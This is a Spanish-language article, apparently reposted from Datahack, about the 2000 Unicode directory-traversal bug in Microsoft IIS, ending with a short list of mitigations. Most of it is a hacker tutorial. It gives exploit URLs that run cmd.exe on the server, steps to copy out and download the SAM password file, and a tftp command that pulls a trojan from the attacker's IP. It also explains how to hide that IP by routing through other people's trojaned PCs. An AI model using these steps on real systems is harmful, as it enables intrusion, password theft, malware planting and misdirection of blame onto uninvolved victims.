El bug del UNICODE

Fuente: Datahack.com Autor: Donatien

El bug del UNICODE
Qué es
Implicancias
En qué consiste realmente este bug?
Exploit
Lo que se puede llegar a hacer con un server que tenga el bug
Lo que supuestamente NO se puede hacer
Formas de evitar estas limitaciones
Cómo proteger a un servidor de esta vulnerabilidad
Parches de Microsoft que están disponibles

Qué es
El día 20/10/2000 Hispasec informó una de las vulnerabilidades más graves que podían afectar al Internet Information Server de Microsoft. Debido a ella, era posible ejecutar cualquier comando DOS en el servidor vulnerable casi tán fácilmente como en una consola de DOS por telnet.

(Nota publicada por Hispasec: http://hispasec.com/unaaldia.asp?id=726)

Implicancias
Traduciendo esto al lenguaje cotidiano, hay que decir que el 40% de los servidores web de la red se volvieron tán fáciles de hackear que cualquier aprendiz de hacker podía tomar el control completo del mismo.

(Haga click aquí para ver la galería de los sites hackeados)

En qué consiste realmente este bug?
Técnicamente hablando, el bug del Unicode consiste en un error por parte de los programadores de Internet Information Server de Microsoft, debido a que cada vez que un visitante solicita un archivo del servidor, IIS evalúa primero la cadena de la URL pedida en función de controlar que no escapen del árbol de directorios compartidos en el site (generalmente c:inetpubwwwroot), y recién después de realizada esta comprobación (altamente rigurosa y crítica para la seguridad del servidor) se traducen los caracteres especiales que el usuario envió codificados de acuerdo al set internacional conocido como Unicode.

Esto significa que (por ejemplo) el url:
http://www.servidor.com/scripts/..%c1%9c../autoexec.bat
sería evaluado por IIS y éste llegaría a la conclusión de que el visitante está pidiendo un archivo del directorio virtual "/scripts", intentando encontrar dentro de éste un subdirectorio llamado ..%c1%9c.. y dentro de él, el archivo autoexec.bat.
Pero a continuación, se realiza la interpretación de los códigos Unicode "%c1%9c" (que representan la barra) y el archivo que IIS le pediría al sistema operativo sería c:/inetpub/wwwroot/scripts/../../autoexec.bat, pero como scripts es un directorio virtual, el archivo sería c:/inetpub/wwwroot/../../autoexec.bat, es decir c:autoexec.bat.

Ya de por sí, esto es tan grave como dejar que cualquier persona pueda bajar el archivo de passwords del servidor con sólo conocer su ubicación por defecto, pero se ve extremadamente agravado por la forma en que IIS procesa los permisos de ejecución de los directorios, ya que "scripts/" tiene por defecto permisos de ejecución de CGI's y archivos ejecutables ISAPI, lo cual desemboca en la posibilidad de ejecutar programas en el servidor.

Como si esto fuera poco, al poder ejecutar el archivo cmd.exe (equivalente al command.com del viejo DOS) y pasarle a éste como parámetro la orden de que ejecute cualquier otro comando interno o externo, se tiene algo CASI tán versátil como una consola DOS por telnet.

Exploit
Básicamente, el exploit es tán sencillo como tipear lo siguiente en la linea de direcciones del explorador:

http://www.servidor.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:

y como respuesta obtener el listado del raíz del disco C:

En base a esta terrible negligencia de Microsoft, muchos "hackers" (con mínimos conocimientos de programación y redes) fueron capaces de hacer sus propios "exploits" (programas diseñados para aprovechar la vulnerabilidad)

Datahack también tiene una suite de esos programas, (gentileza de SSH Team) pero hemos decidido no difundirlo aún porque todavía es muy fácil encontrar servidores vulnerables, y hacer con éllos prácticamente lo que uno desee.

URL Scanner, de SSH Team:
Utilidad capaz de encontrar servidores vulnerables al bug del Unicode dando un ampli rango de IP's a escanear. (Tambien encuentra los servidores no vulnerables)

Uniconsole, de SSH Team:
Utilidad que permite explotar el bug casi como si se tratase de una linea de comandos de DOS, con el adiocional de que se conecta a través de un proxy norteamericano, es decir, de manera totalmente anónima, pero también más lenta.

Lo que se puede llegar a hacer con un server que tenga el bug
Dependiendo de cómo estén configurados los permisos de los directorios del servidor, el hacker tendrá un mayor o menor rango de acción.

IIS accede al disco (directorios y archivos) utilizando un usuario especial, generalmente llamado IUSR_NOMBREMAQUINA (por supuesto que NOMBREMAQUINA es distinto cada vez, y se corresponde justamente con el nombre de esa máquina).

El asunto es que en los casos en que IUSR_NOMBREMAQUINA tenga acceso total al disco, el server estará a total disposición del hacker, para cambiar o borrar cualquiera de sus archivos, Robar información y eliminar sus huellas.

Pero si el administrador del sitio tomó la precaución de quitarle a IUSR_NOMBREMAQUINA todo permiso de escritura en el arbol de wwwroot y todo permiso (de lectura y escritura) al resto del disco (o discos) el servidor estará a salvo de modificaciones y/o destrucción de archivos, pero no aún del robo de información.

Lo que supuestamente NO se puede hacer
A primera vista, no se pueden subir ni bajar archivos del servidor, ya que DOS no provee programas de línea de comando que se manejen con parámetros y establezcan y mantengan una conexión TCP/IP hasta enviado o recibido un archivo.

Si bien existe el programa FTP, que se maneja desde la línea de comandos, éste no permite especificar todos los datos cómo parámetros y llevar a cabo toda la transacción en un solo paso. Recordemos que este bug no dá al hacker un Telnet al DOS, sino "CASI" un Telnet al DOS. La diferencia es que con el bug del unicode cada vez que el hacker envía un comando DOS, este se ejecuta en una sesión totalmente distinta de la que ejecutó el comando anterior, y todo programa que se ejecute en esta particular consola deberá resolverse desde el principio hasta el final en una sola línea.

Un agravante es que este sistema no permite ningún tipo de redireccionamiento del input ni del output. (De otra forma sería muy fácil

Formas de evitar estas limitaciones
Encontrar la forma de bajar algo es muy fácil, y se hace muy evidente para cualquiera que preste un poco de atención. Alcanza con copiar el archivo que queramos bajar al directorio compartido por web, por ejemplo:
copy c:winntrepairsam._ c:inetpubwwwroot
que se ejecuta solicitando el url
http://www.server.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy c:winntrepairsam._+c:inetpubwwwroot
y luego sólo resta bajar con el navegador el archivo http://www.server.com/sam._

Arreglarselas para subir algo es algo mucho más complicado. Ya expliqué en el punto anterior que el método más evidente (el del comando FTP) no sirve en este caso.

Para ello se puede utilizar una variante que Windows NT y 2000 traen también por defecto en su instalación, llamada TFTP (Trivial FTP). La complicación extra es que el cliente TFTP no puede conectarse con cualquier servidor de FTP, sino con un servidor TFTP propiamente dicho.

De todas formas, encontrar un servidor TFTP no es demasiado difícil. Por ejemplo, el TFTP Daemon 32 es muy conocido, y se puede encontrar en http://ftp://ftp.cavebear.com/karl/tftpd32.zip

Una vez que lo tiene instalado, el hacker puede bajar un troyano al servidor desde su propia PC, ejecutando el comando "tftp.exe -i XXX.XXX.XXX.XXX GET troyano.exe" (claro que las X representan el IP del hacker).

Esto acarrea un inconveniente: hasta ahora el hacker podía ocultar su identidad con un simple proxy http, pero luego de esta maniobra de "upload" su IP quedará registrado en los logs del servidor. Los hackers suelen evitar esto usando un troyano en la PC de otra persona, redireccionando algunos puertos de la víctima a la porpia PC, y conectando el TFTP del server al IP de la víctima en lugar del propio. De esta forma el IP que queda registrado es el de la persona que tenía el troyano funcionando en ese momento.

Cómo proteger a un servidor de esta vulnerabilidad
Hay una serie de pasos necesarios para evitar esta vulnerabilidad:

1) Eliminar del IIS todos los directorios virtuales (scripts, msadc, iisadmpwd, etc, que generalmente no se usan)
2) Quitar a todos los directorios que lo tengan el permiso de ejecución de CGI's e ISAPI, dejando sólo el permiso de ejecución de scripts. (que suele ser suficiente para todo site basado en páginas ASP)
3) Quitar todo permiso de escritura al usuario IUSR_NOMBREMAQUINA dentro del arbol de wwwroot, y todo permiso (lectura y escritura) fuera de ese arbol de directorios.
4) Instalar Windows y los directorios compartidos en lugares diferentes de los que vienen por defecto (en otras palabras, evitar usar c:winnt y c:inetpub)
5) Cambiar el nombre al archivo cmd.exe
Parches de Microsoft que están disponibles
En el sitio web de Microsoft se pueden bajar parches para algunas versiones de IIS, sin embargo a la fecha de esta publicación aún no está disponible el parche para la versión en castellano de IIS, por lo cual se recomienda tomar las medidas enumeradas en el punto anterior.

http://www.datafull.com/datahack/notas/nota.php?codigo=8